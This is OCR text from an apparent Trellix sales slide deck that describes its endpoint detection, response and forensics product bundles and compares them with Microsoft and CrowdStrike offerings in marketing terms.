security programs and dedicated
Security Operations Centers

Native Security Protection

Insights

Threat Intelligence
Exchange

IVX Cloud Submissions

Application Control for PCs

Trellix EDR + Forensics
TrelliX
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TrelliX

Enterprise Hybrid
(EPENH)

ePO Saas, On-Prem, laaS

Next Gen AV

Host Firewall

Web & Device Control

Adaptive Threat Protection

Native Security Protection

Insights

Threat Intelligence
Exchange

[VX Cloud Submissions

Application Control for PCs

On-Prem EDR + Forensics

Endpoint Enterprise Hybrid

Primary difference from EPEN
Cloud is EPENH does not offer
EDR or HX as a service

Upgrade HX Customers
Migrate TRXHX Customers

Net new customers with mature
security programs and dedicated
Security Operations Centers who
need on-prem EDR

ePO is a new Requirement for HX
customers. ePO SaaS is being
made available as an option to
simplify the addition of ePO.

If customer chooses to use ePO
Saas - all ePO manageable
modules are entitled to be
managed by ePO Saas.
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Todays key takeaways

1.  Trellix has a robust and mature endpoint and management offering for IT and OT

-
-
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2. EDRF for cloud and on premise delivers a new EDR + forensics capabilities and is the new EDR and forensics offering
3. Trellix Wise for EDRF augments and enhances SOC teams efficiency and skill sets
4. Trellixis fully focused on delivering capabilities for on premise and cloud customers

5. Newend point bundle suites designed to protect customers and simplify offerings

TrelliX
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HX capabilities

ENDPOINT DETECTION &
RESPONSE

OPEN

FRAMEWORK

FULL OPEN API

SIEM
COMPATIBLE

FIREEYE MARKET
HXTOOL

API DOCS

TrelliX

DETECTION
ON DEMAND

MALWARE .=
ANALYSIS AR

DETECTION /

INTELLIGENCE INVESTIGATION

PROTECTION

MALWARE Trellix TRIAGE

PROTECTION Intelligence SUMMARY

MALWARE Mandiant FORENSIC

GUARD Intelligence ACQUISITION
Internal

EXPLOITGUARD @'l Intelligence AUDIT VIEWER
Sharing

ENRICHMENT

DEVICE GUARD - CUSTOM I0C

TECHNIQUES

COVERAGE IOC STREAMING
PROCESS GUARD STORYTIME
UAC PROTECT AGENT HEALTH
AMS]

REAL TIME

IOC DETECTION

DENY LIST

QUICK

CUSTOMIoC CONTAINMENT

ENTERPRISE OFFLINE

SEARCH INVESTIGATION
HOST

LOGON TRACKER REMEDIATION

EVENT

STREAMER

PROCESS

TRACKER

Extended

Forensics




EDRF capabilities

ENDPOINT DETECTION &
RESPONSE

OPEN

FRAMEWORK

FULL OPEN API

SIEM
COMPATIBLE

API DOCS

TrelliX

DETECTION /

PROTECTION

ENSTP

ENS ATP

ENS exploit
prevention

Device control

TECHNIQUES
COVERAGE

ENS Credential
protection

ENS AMSI

REAL TIME
IOC DETECTION

Trace data

INTELLIGENCE

Trellix
Intelligence

®)-] Trellix Insights

n-

INVESTIGATION

&
&

19

1
’

TRIAGE
SUMMARY

FORENSIC
ACQUISITION

AUDIT VIEWER

ENRICHMENT

IOC STREAMING

STORYTIME

AGENT HEALTH

Historical search

EDR monitoring
visualisation

QUICK

CUSTOMIoC CONTAINMENT

ENTERPRISE OFFLINE

SEARCH INVESTIGATION
HOST

LOGON TRACKER REMEDIATION

EVENT

STREAMER

PROCESS

TRACKER

Extended

Forensics
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Reduces
Endpoint Complexity

* Reduce the attack surface

* Fill gaps in coverage
and fix misconfigurations

* Uncover and
stop advanced threats

Before the Attack

The Trellix Approach

Increases
SOC Efficiency

* Reduce alerts deluge

* Spot and address
critical incidents easily

* Speed up investigations
and response

Reduces
Endpoint Incident Impact

* Contain incidents

* Understand scope
and root cause

* Remediate and
prevent reoccurrence

After the Attack

TrelliX
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Trellix Top Differentiators for Endpoint
security
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e live memory analysis (w/o a full dump)
o Deep scriptable acquisitions

e Non-exhaustive live searches for arbitrary data patterns (we can hunt for unknown patterns/strings directly
inside any file, even if that data hasn't been previously collected/indexed by the agent)

e Same technology for workstations/servers on premise or cloud

TrelliX
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What they say

The Reality

Trellix
Differentiation

TrelliX

Endpoint Customer Alternatives

=" Microsoft

Endpoint Protection is built-in to Windows with advanced protection, nothing to deploy
Inspired by the "assume breach" mindset with their EDR

Prevent and detect attacks across your identities, endpoints, apps, email, data, and cloud apps
with XDR capabilities

Difficult to manage and configure, especially at enterprise scale
Complex for responders, search is limited to cloud telemetry, and generic alerting
The path to XDR has limited integrations and requires their SIEM integrations

Hidden costs

Easy to configure and manage comprehensive and customizable modern protection technologies
at scale, cloud and on-prem. Layered security options.

Quickly hunt, detect, and respond to new threats at scale with differentiated direct client
communication architecture.

Fast path to Trellix open and native XDR with native integration of endpoint, email & network
security

No surprise Hidden costs
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CROWDSTRIKE

What they say

The Reality

Trellix
Differentiation

TrelliX

Endpoint Customer Alternatives

CrowdStrike combines the most effective prevention technologies and full attack visibility with built-in
threat intelligence — all in a single lightweight agent

Comprehensive visibility that spans detection, investigation, and response to ensure nothing is missed
and potential breaches are stopped

XDR is the future as long as you have the right endpoint security (EDR)

Position Trellix as “legacy” that “relies on signatures”

3™ party testing shows high rates of false positives, which increases SOC workloads
Relies on cloud telemetry and access for hunting and control of endpoints

Delayed detections in MITRE testing

Relies on 3rd party integrations for visibility and context beyond the endpoint

No on-prem solution

Easy to configure and manage comprehensive and customizable modern protection technologies at
scale, cloud and on-prem

Quickly hunt, detect, and respond to new threats at scale with differentiated direct client
communication architecture.

Fast path to Trellix XDR with native integration of endpoint, email & network security




